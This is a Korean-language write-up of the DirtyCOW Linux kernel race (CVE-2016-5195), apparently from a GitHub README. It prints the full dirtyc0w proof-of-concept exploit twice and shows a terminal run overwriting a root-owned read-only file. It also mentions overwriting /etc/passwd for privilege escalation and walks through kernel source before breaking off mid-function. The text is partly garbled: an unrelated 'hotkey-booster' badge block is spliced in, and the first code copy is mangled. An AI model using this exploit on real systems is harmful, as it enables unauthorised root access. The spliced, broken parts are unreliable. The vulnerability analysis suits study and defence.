
DirtyCOW 노트
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
[中文](https://github.com/asuka39/cve-2016-5195/blob/main/README.md)・[English](https://github.com/asuka39/cve-2016-5195/blob/main/README_EN.md) ・[日本語](https://github.com/asuka39/cve-2016-5195/blob/main/README_JA.md) ・[Español](https://github.com/asuka39/cve-2016-5195/blob/main/README_ES.md) ・[Português](https://github.com/asuka39/cve-2016-5195/blob/main/README_PT.md) ・[Français](https://github.com/asuka39/cve-2016-5195/blob/main/README_FR.md) ・[Deutsch](https://github.com/asuka39/cve-2016-5195/blob/main/README_DE.md) ・[Русский](https://github.com/asuka39/cve-2016-5195/blob/main/README_RU.md)

<p align="center">
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/stars/nicepkg/hotkey-booster?style=social" alt="GitHub stars"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/forks/nicepkg/hotkey-booster?style=social" alt="GitHub forks"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/license/nicepkg/hotkey-booster" alt="License"></a>
</p>
<h4 align="center">어떤 웹 페이지에도 한 번의 클릭으로 단축키 프롬프트 추가</h4>```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
비교적 흔한 이용 수법은 권한을 초과하여 /etc/passwd를 작성하여 root 사용자를 수정하거나 사용자 권한을 수정하여 권한 상승을 하는 것입니다.
먼저 exp가 무엇을 하는지 살펴보겠습니다.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- 먼저 pthread를 호출하여 두 개의 스레드를 생성합니다
- 그런 다음 `fopen`으로 읽기 전용 대상 파일 `argv[1]`을 엽니다
- 파일을 `mmap`으로 메모리에 매핑합니다(주소는 무작위). `MAP_PRIVATE`의 역할은 Task 전용 메모리 매핑을 생성하는 것입니다. 다른 Task가 이 메모리에 쓰기를 시도하면, 해당 프로세스는 쓰기 전에 먼저 복사본을 만든 후에 쓰기를 수행합니다. 이를 통해 자식 프로세스나 스레드를 생성할 때 전체 메모리 공간을 복사하는 데 많은 시간과 공간을 소비하지 않으면서도 Task 간의 동시 메모리 작업이 서로 영향을 미치지 않도록 보장할 수 있습니다. 이것이 Copy-On-Write입니다.
- 이어서 두 개의 스레드를 시작합니다. 하나는 `madviseThread`를 실행하고, 다른 하나는 `procselfmemThread`를 실행합니다.
그런 다음 두 스레드의 실행 본문을 살펴봅니다.
- 한 스레드는 파일 매핑에 대해 `madvise`를 호출하여 커널에 매핑된 메모리 또는 공유 메모리의 사용 상황을 알립니다. `MADV_DONTNEED`는 앞으로 이 메모리 영역을 더 이상 사용하지 않음을 나타내며, 커널은 이를 해제할 수 있습니다.
- 다른 스레드는 읽기-쓰기 권한으로 `/proc/self/mem`을 엽니다. 이 파일은 프로세스 자체의 가상 메모리에 대한 파일 매핑입니다. 그런 다음 계속해서 파일에 대상 정보를 쓰려고 시도합니다.```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
최종적으로, 두 스레드의 연속적인 공격으로 인해 커널에 경쟁 취약점이 발생하여 procselfmemThread가 읽기 전용 파일에 성공적으로 썼습니다.
mmap은 vma에 메모리 매핑만 설정할 뿐, 실제로 매핑된 파일을 물리적 페이지 프레임에 넣지는 않습니다. 따라서 처음으로 write로 파일에 쓰려고 하면 반드시 페이지 폴트 예외가 발생합니다.write부터 분석을 시작합니다. 파일에 대한 모든 작업은 해당 파일이 속한 파일 시스템이 VFS에 등록한 가상 테이블 file_operations를 거쳐야 합니다. /proc의 파일은 procfs에 의해 구현되며, proc_mem_operations를 찾으면 write가 mem_write에 바인딩되어 있음을 알 수 있습니다.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write`는 `mem_rw`의 래퍼(write 플래그가 1로 설정됨)입니다. `mem_rw`의 주요 흐름은 다음과 같습니다.
- 먼저 `__get_free_page`를 통해 임시 빈 페이지를 할당하여 버퍼로 사용합니다.
- 쓰기 작업의 경우 `copy_from_user`를 호출하여 쓸 데이터를 임시 페이지에 복사합니다.
- 그런 다음 `access_remote_vm`을 사용하여 대상 데이터를 빈 페이지로 읽거나(읽기) 버퍼의 내용을 대상 주소에 씁니다(쓰기).
- 소위 remote는 본 프로세스가 다른 프로세스의 메모리 매핑 파일을 읽거나 쓸 수 있기 때문이며, 이는 프로세스가 다른 프로세스의 주소 공간에 접근할 수 있음을 의미합니다. 이 점이 다른 memory filesystem과 다릅니다.
- 읽기 작업의 경우 이전 단계에서 빈 페이지로 읽은 데이터를 사용자 버퍼에 다시 씁니다.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm은 __access_remote_vm의 래퍼(wrapper)이며, 주요 흐름은 다음과 같습니다.
get_user_pages는 주소 대상 addr이 위치한 page struct를 가져옵니다.
성공적으로 가져오면 kmap을 호출하여 page를 커널의 high memory에 매핑합니다(page는 물리 페이지를 참조).
메모리 접근이 쓰기 작업이면 데이터를 작성한 후 더티 비트(dirty bit)를 설정하고, 읽기 작업이면 데이터를 읽어오면 됩니다.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;